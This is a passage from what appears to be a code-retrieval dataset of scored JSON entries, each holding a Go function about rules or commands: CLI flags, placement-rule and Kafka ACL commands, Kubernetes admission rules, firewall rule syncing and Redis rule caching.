Command\n\tlintCmd.Arg(\"rule-files\", \"The rule files to check.\").ExistingFilesVar(&r.RuleFilesList)\n\tlintCmd.Flag(\"rule-files\", \"The rule files to check. Flag can be reused to load multiple files.\").StringVar(&r.RuleFiles)\n\tlintCmd.Flag(\n\t\t\"rule-dirs\",\n\t\t\"Comma separated list of paths to directories containing rules yaml files. Each file in a directory with a .yml or .yaml suffix will be parsed.\",\n\t).StringVar(&r.RuleFilesPath)\n\tlintCmd.Flag(\"dry-run\", \"Performs a trial run that doesn't make any changes and (mostly) produces the same outpupt as a real run.\").Short('n').BoolVar(&r.LintDryRun)\n\n\t// Check Command\n\tcheckCmd.Arg(\"rule-files\", \"The rule files to check.\").ExistingFilesVar(&r.RuleFilesList)\n\tcheckCmd.Flag(\"rule-files\", \"The rule files to check. Flag can be reused to load multiple files.\").StringVar(&r.RuleFiles)\n\tcheckCmd.Flag(\n\t\t\"rule-dirs\",\n\t\t\"Comma separated list of paths to directories containing rules yaml files. Each file in a directory with a .yml or .yaml suffix will be parsed.\",\n\t).StringVar(&r.RuleFilesPath)\n\tcheckCmd.Flag(\"strict\", \"fails rules checks that do not match best practices exactly\").BoolVar(&r.Strict)\n\n\t// List Command\n\tlistCmd.Flag(\"format\", \"Backend type to interact with: <json|yaml|table>\").Default(\"table\").EnumVar(&r.Format, formats...)\n\tlistCmd.Flag(\"disable-color\", \"disable colored output\").BoolVar(&r.DisableColor)\n}", "title": "" }, { "docid": "9fad088821c5833c79454827bce778f8", "score": "0.5148799", "text": "func NewPlacementRulesCommand() *cobra.Command {\n\tc := &cobra.Command{\n\t\tUse: \"placement-rules\",\n\t\tShort: \"placement rules configuration\",\n\t}\n\tenable := &cobra.Command{\n\t\tUse: \"enable\",\n\t\tShort: \"enable placement rules\",\n\t\tRun: enablePlacementRulesFunc,\n\t}\n\tdisable := &cobra.Command{\n\t\tUse: \"disable\",\n\t\tShort: \"disable placement rules\",\n\t\tRun: disablePlacementRulesFunc,\n\t}\n\tshow := &cobra.Command{\n\t\tUse: \"show\",\n\t\tShort: \"show placement rules\",\n\t\tRun: getPlacementRulesFunc,\n\t}\n\tshow.Flags().String(\"group\", \"\", \"group id\")\n\tshow.Flags().String(\"id\", \"\", \"rule id\")\n\tshow.Flags().String(\"region\", \"\", \"region id\")\n\tshow.Flags().Bool(\"detail\", false, \"detailed match info for region\")\n\tload := &cobra.Command{\n\t\tUse: \"load\",\n\t\tShort: \"load placement rules to a file\",\n\t\tRun: getPlacementRulesFunc,\n\t}\n\tload.Flags().String(\"group\", \"\", \"group id\")\n\tload.Flags().String(\"id\", \"\", \"rule id\")\n\tload.Flags().String(\"region\", \"\", \"region id\")\n\tload.Flags().String(\"out\", \"rules.json\", \"the filename contains rules\")\n\tsave := &cobra.Command{\n\t\tUse: \"save\",\n\t\tShort: \"save rules from file\",\n\t\tRun: putPlacementRulesFunc,\n\t}\n\tsave.Flags().String(\"in\", \"rules.json\", \"the filename contains rules\")\n\truleGroup := &cobra.Command{\n\t\tUse: \"rule-group\",\n\t\tShort: \"rule group configurations\",\n\t}\n\truleGroupShow := &cobra.Command{\n\t\tUse: \"show [id]\",\n\t\tShort: \"show rule group configuration(s)\",\n\t\tRun: showRuleGroupFunc,\n\t}\n\truleGroupSet := &cobra.Command{\n\t\tUse: \"set <id> <index> <override>\",\n\t\tShort: \"update rule group configuration\",\n\t\tRun: updateRuleGroupFunc,\n\t}\n\truleGroupDelete := &cobra.Command{\n\t\tUse: \"delete <id>\",\n\t\tShort: \"delete rule group configuration. Note: this command will be deprecated soon, use <rule-bundle delete> instead\",\n\t\tRun: delRuleBundle,\n\t}\n\truleGroupDelete.Flags().Bool(\"regexp\", false, \"match group id by regular expression\")\n\truleGroup.AddCommand(ruleGroupShow, ruleGroupSet, ruleGroupDelete)\n\truleBundle := &cobra.Command{\n\t\tUse: \"rule-bundle\",\n\t\tShort: \"process rules in group(s), set/save perform in a replace fashion\",\n\t}\n\truleBundleGet := &cobra.Command{\n\t\tUse: \"get <id>\",\n\t\tShort: \"get rule group config and its rules by group id\",\n\t\tRun: getRuleBundle,\n\t}\n\truleBundleGet.Flags().String(\"out\", \"\", \"the output file\")\n\truleBundleSet := &cobra.Command{\n\t\tUse: \"set\",\n\t\tShort: \"set rule group config and its rules from file\",\n\t\tRun: setRuleBundle,\n\t}\n\truleBundleSet.Flags().String(\"in\", \"group.json\", \"the file contains one group config and its rules\")\n\truleBundleDelete := &cobra.Command{\n\t\tUse: \"delete <id>\",\n\t\tShort: \"delete rule group config and its rules by group id\",\n\t\tRun: delRuleBundle,\n\t}\n\truleBundleDelete.Flags().Bool(\"regexp\", false, \"match group id by regular expression\")\n\truleBundleLoad := &cobra.Command{\n\t\tUse: \"load\",\n\t\tShort: \"load all group configs and rules to file\",\n\t\tRun: loadRuleBundle,\n\t}\n\truleBundleLoad.Flags().String(\"out\", \"rules.json\", \"the output file\")\n\truleBundleSave := &cobra.Command{\n\t\tUse: \"save\",\n\t\tShort: \"save all group configs and rules from file\",\n\t\tRun: saveRuleBundle,\n\t}\n\truleBundleSave.Flags().String(\"in\", \"rules.json\", \"the file contains all group configs and all rules\")\n\truleBundleSave.Flags().Bool(\"partial\", false, \"do not drop all old configurations, partial update\")\n\truleBundle.AddCommand(ruleBundleGet, ruleBundleSet, ruleBundleDelete, ruleBundleLoad, ruleBundleSave)\n\tc.AddCommand(enable, disable, show, load, save, ruleGroup, ruleBundle)\n\treturn c\n}", "title": "" }, { "docid": "506d98142f8df8d1699fc59c11480817", "score": "0.5122103", "text": "func (_options *CreateSegmentOptions) SetRules(rules []Rule) *CreateSegmentOptions {\n\t_options.Rules = rules\n\treturn _options\n}", "title": "" }, { "docid": "270a17c44a727983bbd517159374bce5", "score": "0.510084", "text": "func (c *ChainConfig) Rules(num *big.Int, isMerge bool) Rules {\n\tchainID := c.ChainID\n\tif chainID == nil {\n\t\tchainID = new(big.Int)\n\t}\n\treturn Rules{\n\t\tChainID: new(big.Int).Set(chainID),\n\t\tIsHomestead: c.IsHomestead(num),\n\t\tIsEIP150: c.IsEIP150(num),\n\t\tIsEIP155: c.IsEIP155(num),\n\t\tIsEIP158: c.IsEIP158(num),\n\t\tIsByzantium: c.IsByzantium(num),\n\t\tIsConstantinople: c.IsConstantinople(num),\n\t\tIsPetersburg: c.IsPetersburg(num),\n\t\tIsIstanbul: c.IsIstanbul(num),\n\t\tIsBerlin: c.IsBerlin(num),\n\t\tIsLondon: c.IsLondon(num),\n\t\tIsMerge: isMerge,\n\t\tIsShanghai: c.IsShanghai(num),\n\t\tisCancun: c.IsCancun(num),\n\t}\n}", "title": "" }, { "docid": "edb542a23bed1277b02bfa8b85b443d4", "score": "0.5056136", "text": "func (_options *UpdateSegmentOptions) SetRules(rules []Rule) *UpdateSegmentOptions {\n\t_options.Rules = rules\n\treturn _options\n}", "title": "" }, { "docid": "e42b4bcb9a0d31e4af992d61dc7cfb19", "score": "0.49984488", "text": "func NewCommands(self *definitions.Rule) (result []*Command, err error) {\n\tdefCommands, err := self.GetCommands()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// This form is used when the rule has a simple string for a command\n\tif len(defCommands) == 0 {\n\t\tresult = []*Command{{Kind: \"run\", Argument: self.Command}}\n\t\treturn\n\t}\n\t// Otherwise, the rule has a series of commands\n\tresult = make([]*Command, 0, len(defCommands))\n\tfor _, c := range defCommands {\n\t\tresult = append(result, &Command{\n\t\t\tKind: c.Kind,\n\t\t\tArgument: c.Argument,\n\t\t\tAttributes: c.Attributes,\n\t\t})\n\t}\n\treturn\n}", "title": "" }, { "docid": "ab3a3badb689726124dada94b221b1d4", "score": "0.4981127", "text": "func (_ CoreV2RoleAliases) Rules(p graphql.ResolveParams) (interface{}, error) {\n\tval, err := graphql.DefaultResolver(p.Source, p.Info.FieldName)\n\treturn val, err\n}", "title": "" }, { "docid": "192eb56f564bd7ac86146d40761f27b3", "score": "0.4974327", "text": "func (c Config) rules() []admissionregv1.RuleWithOperations {\n\twhConfig := admissionregv1.RuleWithOperations{\n\t\tRule: admissionregv1.Rule{\n\t\t\tAPIGroups: c.Groups,\n\t\t\tAPIVersions: c.Versions,\n\t\t\tResources: c.Resources,\n\t\t},\n\t\tOperations: make([]admissionregv1.OperationType, len(c.Verbs)),\n\t}\n\n\tfor i, verbRaw := range c.Verbs {\n\t\twhConfig.Operations[i] = verbToAPIVariant(verbRaw)\n\t}\n\n\t// fix the group names, since letting people type \"core\" is nice\n\tfor i, group := range whConfig.APIGroups {\n\t\tif group == \"core\" {\n\t\t\twhConfig.APIGroups[i] = \"\"\n\t\t}\n\t}\n\n\treturn []admissionregv1.RuleWithOperations{whConfig}\n}", "title": "" }, { "docid": "16f87db02bd95f83baa2788c9ae9aaa3", "score": "0.49726936", "text": "func (_options *CreateRouteOptions) SetRules(rules []RulePrototype) *CreateRouteOptions {\n\t_options.Rules = rules\n\treturn _options\n}", "title": "" }, { "docid": "9350b61457428766307e999c9229d6ac", "score": "0.49233463", "text": "func ExecuteRules(cmd *cobra.Command, validatorConfig *ValidatorConfig) []validator.ValidationError {\n\tvar ruleConfig RuleConfig\n\treturn ExecuteRulesInternal(cmd, &ruleConfig, validatorConfig)\n}", "title": "" }, { "docid": "a5b7d8bf46f8b997ae6569650ab1f11c", "score": "0.48490566", "text": "func (cl *CommandLister) List(options *metav1.ListOptions) (clidynamic.ResourceCommandList, error) {\n\tclient := cl.Client.ApiextensionsV1beta1().CustomResourceDefinitions()\n\tcmds := clidynamic.ResourceCommandList{}\n\n\tif options == nil {\n\t\toptions = &metav1.ListOptions{LabelSelector: label}\n\t}\n\n\t// Get ResourceCommand CRs if they exist\n\trcs, err := cl.DynamicClient.Resource(gvk).List(*options)\n\tif err == nil {\n\t\t// Ignore errors because the CRD for ResourceCommands may not be defined\n\t\tfor i := range rcs.Items {\n\t\t\trc := rcs.Items[i]\n\t\t\trcBytes, err := yaml.Marshal(rc)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"failed to Marshal ResourceCommand %s: %v\\n\", rc.GetName(), err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcmd := clidynamic.ResourceCommand{}\n\t\t\terr = yaml.UnmarshalStrict(rcBytes, &cmd)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"failed to Unmarshal ResourceCommand %s: %v\\n\", rc.GetName(), err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcmds.Items = append(cmds.Items, cmd)\n\t\t}\n\t}\n\n\t// Get CRDs with ResourceCommands as annotations\n\tcrds, err := client.List(*options)\n\tif err != nil {\n\t\treturn cmds, err\n\t}\n\n\tfor i := range crds.Items {\n\t\tcrd := crds.Items[i]\n\t\t// Get the ResourceCommand json\n\t\ts := crd.Annotations[annotation]\n\t\tif len(s) == 0 {\n\t\t\tfmt.Fprintf(os.Stderr, \"CRD missing ResourceCommand annotation %s: %v\\n\", crd.Name, err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Unmarshall the annotation value into a ResourceCommandList\n\t\trcList := clidynamic.ResourceCommandList{}\n\t\tif err := yaml.UnmarshalStrict([]byte(s), &rcList); err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"failed to parse commands for CRD %s: %v\\n\", crd.Name, err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Verify we parsed something\n\t\tif reflect.DeepEqual(rcList, clidynamic.ResourceCommandList{}) {\n\t\t\tfmt.Fprintf(os.Stderr, \"no commands for CRD %s: %s\\n\", crd.Name, s)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Add the commands to the list\n\t\tfor i := range rcList.Items {\n\t\t\titem := rcList.Items[i]\n\t\t\tif len(item.Requests) > 0 {\n\t\t\t\tcmds.Items = append(cmds.Items, item)\n\t\t\t}\n\t\t}\n\t}\n\treturn cmds, nil\n}", "title": "" }, { "docid": "d4ad1b1a3d1bf8684e0a38347d7b657c", "score": "0.48268712", "text": "func (k8s *K8S) AddRules(_ string, rules []api.Rule) (out NewRules, err error) {\n\tif len(rules) != 1 {\n\t\treturn out, ErrBulkNotSupported\n\t}\n\n\trule := rules[0]\n\tif err = k8s.validator.Validate(rule); err != nil {\n\t\treturn\n\t}\n\n\treturn k8s.addRule(rule)\n}", "title": "" }, { "docid": "05ef632445be7bbca1dee298036c1f17", "score": "0.48095027", "text": "func NewRedisControllerManagerCommand() *cobra.Command {\n\topts := options.NewRedisControllerManagerOptions()\n\tcmd := &cobra.Command{\n\t\tUse: \"redis-operator\",\n\t\tLong: `redis-operator creates/configures/manages redis clusters atop Kubernetes`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tutilflag.PrintFlags(cmd.Flags())\n\t\t\tctx, cancel := context.WithCancel(context.Background())\n\t\t\tdefer cancel()\n\n\t\t\treturn Run(ctx, opts)\n\t\t},\n\t}\n\n\topts.AddFlags(cmd.Flags())\n\tcmd.AddCommand(addVersionCmd())\n\tcmd.MarkFlagFilename(\"config\", \"yaml\", \"yml\", \"json\")\n\treturn cmd\n}", "title": "" }, { "docid": "3b2c4dc6e920ca4632e0a8c0cd70661d", "score": "0.47918645", "text": "func CompileRawRules(rules json.RawMessage) (r *Rules, err error) {\n\tvar cfg *RulesConfig\n\terr = json.Unmarshal(rules, &cfg)\n\tif err != nil || cfg == nil {\n\t\treturn\n\t}\n\n\terr = validator.New().Struct(*cfg)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// compile rules config to rules\n\tr = &Rules{\n\t\tuserGroups: make(map[string][]string),\n\t\trules: make(map[string]*TableRules),\n\t}\n\n\tfor groupName, userNames := range cfg.Groups {\n\t\tfor _, userName := range userNames {\n\t\t\tr.groups = append(r.groups, groupName)\n\t\t\tr.userGroups[userName] = append(r.userGroups[userName], groupName)\n\t\t}\n\t}\n\n\tfor tableName, tableEnforces := range cfg.Rules {\n\t\ttableRules := &TableRules{\n\t\t\trules: make(map[RuleQueryType]*QueryRules),\n\t\t}\n\n\t\ttableRules.rules[RuleQueryFind], err = compileQueryEnforces(cfg, tableEnforces.Find)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ttableRules.rules[RuleQueryCount], err = compileQueryEnforces(cfg, tableEnforces.Count)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ttableRules.rules[RuleQueryRemove], err = compileQueryEnforces(cfg, tableEnforces.Remove)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ttableRules.rules[RuleQueryInsert], err = compileQueryEnforces(cfg, tableEnforces.Insert)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ttableRules.rules[RuleQueryUpdate], err = compileQueryEnforces(cfg, tableEnforces.Update.Filter)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ttableRules.updateRules, err = compileQueryEnforces(cfg, tableEnforces.Update.Update)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\terr = validateUpdateRules(tableRules.updateRules)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tr.rules[tableName] = tableRules\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "522efcb410357dbee656b19f185d1938", "score": "0.4790628", "text": "func (r *Rule) Commands() []*Command {\n\treturn r.commands\n}", "title": "" }, { "docid": "94365d608dfcbc11b88f358148c224f4", "score": "0.47860956", "text": "func (r *Rule) AddCmd(c *Command) *Rule {\n\tif r.Command == nil {\n\t\tr.Command = []*Command{c}\n\t} else {\n\t\tr.Command = append(r.Command, c)\n\t}\n\treturn r\n}", "title": "" }, { "docid": "78ee2ca383a306f93465644969269900", "score": "0.4785663", "text": "func NewACLGroupCommand() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"acl\",\n\t\tShort: \"Manage Access Control List\",\n\t\tExample: \"acl -h\",\n\t\tTraverseChildren: true,\n\t}\n\n\t// By creating a group of flags (flag set) we can then query based on that filtering out\n\t// other flags coming from parent commands.\n\taclFlags = pflag.NewFlagSet(\"acl\", pflag.ExitOnError)\n\n\taclFlags.String(\"permission-type\", \"\", \"Kafka ACL permission type e.g. 'allow', 'deny', etc. (REQUIRED)\")\n\taclFlags.String(\"principal\", \"\", \"The name of the principal (REQUIRED)\")\n\taclFlags.String(\"operation\", \"\", \"Kafka ACL operation, e.g. 'all', 'read', 'write', etc. (REQUIRED)\")\n\taclFlags.String(\"resource-type\", \"\", \"Kafka ACL resource type e.g. 'topic', 'cluster', etc. (REQUIRED)\")\n\taclFlags.String(\"pattern-type\", \"\", \"Kafka ACL pattern, e.g. 'literal', 'prefixed', etc. (REQUIRED)\")\n\taclFlags.String(\"resource-name\", \"\", \"The name of the resource (REQUIRED)\")\n\taclFlags.String(\"acl-host\", \"*\", \"The ACL host\")\n\n\t// Add the ACL flag set to root 'acl' command so it can be shared with sub-commands\n\tcmd.PersistentFlags().AddFlagSet(aclFlags)\n\n\t// Link \"set\" and \"delete\" sub-commands to root 'acl' command\n\tcmd.AddCommand(NewCreateOrUpdateACLCommand())\n\tcmd.AddCommand(NewDeleteACLCommand())\n\n\treturn cmd\n}", "title": "" }, { "docid": "c205a274f1533f319f38da65102d2768", "score": "0.47839358", "text": "func (c *client) Rules() ([]string, error) {\n\turl := c.createURL(\"/api/v1/rules\", nil)\n\tresp, err := c.client.Get(url)\n\tif err != nil {\n\t\treturn nil, maskAny(err)\n\t}\n\tvar data RulesResponse\n\tif err := c.handleResponse(resp, \"GET\", url, &data); err != nil {\n\t\treturn nil, maskAny(err)\n\t}\n\treturn data.Rules, nil\n\n}", "title": "" }, { "docid": "52539fc49d0625e06dce7b58e2586522", "score": "0.47587138", "text": "func (t *SimpleChaincode) addRules(stub shim.ChaincodeStubInterface,args []string) peer.Response{\n\tif len(args) != 2{\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 2\")\n\t}\n\n\taccId := args[0]\n\tnewRule := args[1]\n\t//check if acc already exists\n\taccAsBytes, err := stub.GetState(accId)\n\tif err != nil {\n\t\treturn shim.Error(\"Failed to get acc: \" + err.Error())\n\t} else if accAsBytes == nil {\n\t\treturn shim.Error(accId + \" does not exist \")\n\t}\n\n\taccNewRule := ACC{}\n\terr =json.Unmarshal(accAsBytes,&accNewRule)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\taccNewRule.AccessRule = accNewRule.AccessRule + \";\" + newRule //change the rules\n\n\taccJSONasBytes, _ := json.Marshal(accNewRule)\n\terr = stub.PutState(accId,accJSONasBytes)\n\tif err!=nil{\n\t\treturn shim.Error(err.Error())\n\t}\n\n\tfmt.Println(\"- end add New Rule to Acc (success)\")\n\treturn shim.Success(nil)\n\n}", "title": "" }, { "docid": "335a8fe5782ad3facd5722dfe8b54985", "score": "0.47419056", "text": "func NewRules(db CloudantDB) Rules {\n\treturn &rules{\n\t\tdb: db,\n\t}\n}", "title": "" }, { "docid": "9901086cebdda253aa9d54c25419e5fd", "score": "0.47402462", "text": "func (c *Firewall) ConfigureRules(vsys string, rules []Entry, auditComments map[string]string, isPolicy bool, move int, oRule string, prevNames []string) error {\n\tvar err error\n\tsetRules := make([]Entry, 0, len(rules))\n\teditRules := make([]Entry, 0, len(rules))\n\n\tcurRules, err := c.GetAll(vsys)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Determine which can be set and which can must be edited.\n\tfor _, x := range rules {\n\t\tvar found bool\n\t\tfor _, live := range curRules {\n\t\t\tif x.Name == live.Name {\n\t\t\t\tfound = true\n\t\t\t\tif !RulesMatch(x, live) {\n\t\t\t\t\teditRules = append(editRules, x)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tsetRules = append(setRules, x)\n\t\t}\n\t}\n\n\t// Set all rules.\n\tif len(setRules) > 0 {\n\t\tif err = c.Set(vsys, setRules...); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Configure audit comments for each set rule.\n\t\tfor _, x := range setRules {\n\t\t\tif comment := auditComments[x.Name]; comment != \"\" {\n\t\t\t\tif err = c.SetAuditComment(vsys, x.Name, comment); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Edit each rule one by one.\n\tfor _, x := range editRules {\n\t\tif err = c.Edit(vsys, x); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Configure the audit comment for each edited rule.\n\t\tif comment := auditComments[x.Name]; comment != \"\" {\n\t\t\tif err = c.SetAuditComment(vsys, x.Name, comment); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Move the group into place.\n\tif err = c.MoveGroup(vsys, move, oRule, rules...); err != nil {\n\t\treturn err\n\t}\n\n\t// Delete rules removed from the group.\n\tif len(prevNames) != 0 {\n\t\trmList := make([]interface{}, 0, len(prevNames))\n\t\tfor _, name := range prevNames {\n\t\t\tvar found bool\n\t\t\tfor _, x := range rules {\n\t\t\t\tif x.Name == name {\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\trmList = append(rmList, name)\n\t\t\t}\n\t\t}\n\n\t\tif len(rmList) != 0 {\n\t\t\tif err = c.Delete(vsys, rmList...); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Optional: If this is a policy, delete everything else.\n\tif isPolicy {\n\t\tdelRules := make([]interface{}, 0, len(curRules))\n\t\tfor _, cur := range curRules {\n\t\t\tvar found bool\n\t\t\tfor _, x := range rules {\n\t\t\t\tif x.Name == cur.Name {\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !found {\n\t\t\t\tdelRules = append(delRules, cur.Name)\n\t\t\t}\n\t\t}\n\n\t\tif len(delRules) != 0 {\n\t\t\tif err = c.Delete(vsys, delRules...); err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "dbe3bafeb134c4a1c39f9ba4e470d69b", "score": "0.47253922", "text": "func (m *Win32LobApp) SetRules(value []Win32LobAppRuleable)() {\n m.rules = value\n}", "title": "" }, { "docid": "29f6e13a3af43c1bd6896c675db4a786", "score": "0.46927837", "text": "func (o AclPolicyOutput) Rules() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *AclPolicy) pulumi.StringOutput { return v.Rules }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "149092ee0cb06bddfefea74ccc89d201", "score": "0.46892932", "text": "func (m *Command) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateGet(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePut(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9cd165101db24f341fbd062df91ff6bf", "score": "0.46797046", "text": "func NewNatRulesCommand(authenticatingCommand *GenericCommand) *AuthenticationRequiringCommand {\n\treturn &AuthenticationRequiringCommand{\n\t\tGenericCommand: GenericCommand{\n\t\t\tName: \"NatRules\",\n\t\t\tDescription: \"Gets any IPV4 NAT rules configured on the Home Hub\",\n\t\t\tExec: func(context *CommandContext) { context.SetResult(service.GetHub().NatRules()) },\n\t\t\tPostExec: func(context *CommandContext) {\n\t\t\t\tif !context.IsError() {\n\t\t\t\t\tnatRules := context.GetResult().([]homehub.NatRule)\n\n\t\t\t\t\tdata := []string{\n\t\t\t\t\t\t\"ID | Description | Enabled | External Port Start | External Port End | Internal Port Start | Internal Port End | Protocol\",\n\t\t\t\t\t\t\"\",\n\t\t\t\t\t}\n\n\t\t\t\t\tfor i := 0; i < len(natRules); i++ {\n\t\t\t\t\t\tline := fmt.Sprintf(\"%d | %s | %t | %d | %d | %d | %d | %s\", natRules[i].UID, natRules[i].Description, natRules[i].Enable, natRules[i].ExternalPort, natRules[i].ExternalPortEndRange, natRules[i].InternalPort, natRules[i].ExternalPortEndRange, natRules[i].Protocol)\n\t\t\t\t\t\tdata = append(data, line)\n\t\t\t\t\t}\n\n\t\t\t\t\tutil.Columnize(data)\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t\tAuthenticatingCommand: authenticatingCommand,\n\t}\n}", "title": "" }, { "docid": "a713bb849738757570f6b7107e96a448", "score": "0.46750113", "text": "func (k8s *K8S) UpdateRules(_ string, rules []api.Rule) (err error) {\n\tif len(rules) != 1 {\n\t\treturn ErrBulkNotSupported\n\t}\n\n\trule := rules[0]\n\tif err = k8s.validator.Validate(rule); err != nil {\n\t\treturn\n\t}\n\n\tif rule.ID == \"\" {\n\t\treturn fmt.Errorf(\"rule ID is missing\")\n\t}\n\n\tin := k8s.buildRoutingRule(rule)\n\tif err = k8s.client.Put().Body(&in).Namespace(k8s.namespace).Resource(kuberules.ResourceKind + \"s\").\n\t\tName(rule.ID).Do().Error(); err != nil {\n\t\treturn\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ba31fa2ccf1f63e2807117a6a7a4c18b", "score": "0.46688077", "text": "func (o BucketServerSideEncryptionConfigurationV2Output) Rules() BucketServerSideEncryptionConfigurationV2RuleArrayOutput {\n\treturn o.ApplyT(func(v *BucketServerSideEncryptionConfigurationV2) BucketServerSideEncryptionConfigurationV2RuleArrayOutput {\n\t\treturn v.Rules\n\t}).(BucketServerSideEncryptionConfigurationV2RuleArrayOutput)\n}", "title": "" }, { "docid": "e69875dafbb55a324f8fdf09a824213c", "score": "0.46322176", "text": "func (c *Client) ListRules(filter *api.RuleFilter) (*api.RulesSet, error) {\n\tvar rulesSet api.RulesSet\n\n\tpath := rulesPath + c.filterToStringQuery(filter)\n\n\tif err := c.doRequest(\"GET\", path, nil, nil, &rulesSet, http.StatusOK); err != nil {\n\t\tlogrus.WithError(err).Warn(\"Failed to retrieve rules from controller\")\n\t\treturn nil, err\n\t}\n\n\treturn &rulesSet, nil\n}", "title": "" }, { "docid": "72b3b971cbbcfbd958986cba2fd947bc", "score": "0.46049", "text": "func (s *GetBucketLifecycleConfigurationOutput) SetRules(v []*LifecycleRule) *GetBucketLifecycleConfigurationOutput {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "5e27189ef9d809a67b9dd3dbd9a2f9d6", "score": "0.46031997", "text": "func createRules(pm PrincipalMap) *rbac_config.RBAC {\n\trules := &rbac_config.RBAC{\n\t\tAction: rbac_config.RBAC_ALLOW,\n\t\tPolicies: map[string]*rbac_config.Policy{},\n\t}\n\n\tprincipals := []*rbac_config.Principal{}\n\tprincipals = append(principals, pm[policies_api.Allow]...)\n\tprincipals = append(principals, pm[policies_api.AllowWithShadowDeny]...)\n\n\tif len(principals) != 0 {\n\t\trules.Policies[\"MeshTrafficPermission\"] = &rbac_config.Policy{\n\t\t\tPermissions: []*rbac_config.Permission{\n\t\t\t\t{\n\t\t\t\t\tRule: &rbac_config.Permission_Any{\n\t\t\t\t\t\tAny: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tPrincipals: principals,\n\t\t}\n\t}\n\n\treturn rules\n}", "title": "" }, { "docid": "7a0bcc4c23f4efb7b4554fed9672b0e3", "score": "0.4596512", "text": "func (o RedisUserOutput) RedisAclCategories() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *RedisUser) pulumi.StringArrayOutput { return v.RedisAclCategories }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "1c095bde7c7508df34ebaffc7eeed03d", "score": "0.4595645", "text": "func (r Rule) Matches(command [][]byte) bool {\n\tfor _, cmd := range r.Commands {\n\t\tif len(cmd) != len(command) {\n\t\t\tcontinue\n\t\t}\n\t\tfor i := range cmd {\n\t\t\tcmdRe := regexp.MustCompile(cmd[i])\n\t\t\tif cmdRe.Match(command[i]) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "95f831e7b09059704e5e86e556df8b54", "score": "0.45857215", "text": "func WithRules(key bascule.Authorization, v bascule.Validator) EOption {\n\treturn func(e *enforcer) {\n\t\tif v != nil {\n\t\t\te.rules[key] = v\n\t\t}\n\t}\n}", "title": "" }, { "docid": "63d5297ceedb2e2882f82d2d72fb265c", "score": "0.45809174", "text": "func CompileRules(rules map[string]interface{}) (r *Rules, err error) {\n\trulesCfg, err := json.Marshal(rules)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn CompileRawRules(json.RawMessage(rulesCfg))\n}", "title": "" }, { "docid": "acf67687d99ed63dfb801799dc516fd9", "score": "0.4573583", "text": "func (s *Service) addRule(c context.Context, zoneids map[int64]map[int64]int64) (err error) {\n\tvar key string\n\tconn := s.redis.Get(c)\n\tdefer conn.Close()\n\tcount := 0\n\tfor aid, zids := range zoneids {\n\t\tif key == \"\" {\n\t\t\tkey = keyZlimit(aid)\n\t\t}\n\t\tfor zid, auth := range zids {\n\t\t\tif err = conn.Send(\"HSET\", key, zid, auth); err != nil {\n\t\t\t\tlog.Error(\"add conn.Send error(%v)\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcount++\n\t\t}\n\t}\n\tif err = conn.Send(\"EXPIRE\", key, s.expire); err != nil {\n\t\tlog.Error(\"add conn.Send error(%v)\", err)\n\t\treturn\n\t}\n\tif err = conn.Flush(); err != nil {\n\t\tlog.Error(\"add conn.Flush error(%v)\", err)\n\t\treturn\n\t}\n\tfor i := 0; i <= count; i++ {\n\t\tif _, err = conn.Receive(); err != nil {\n\t\t\tlog.Error(\"add conn.Receive()%d error(%v)\", i+1, 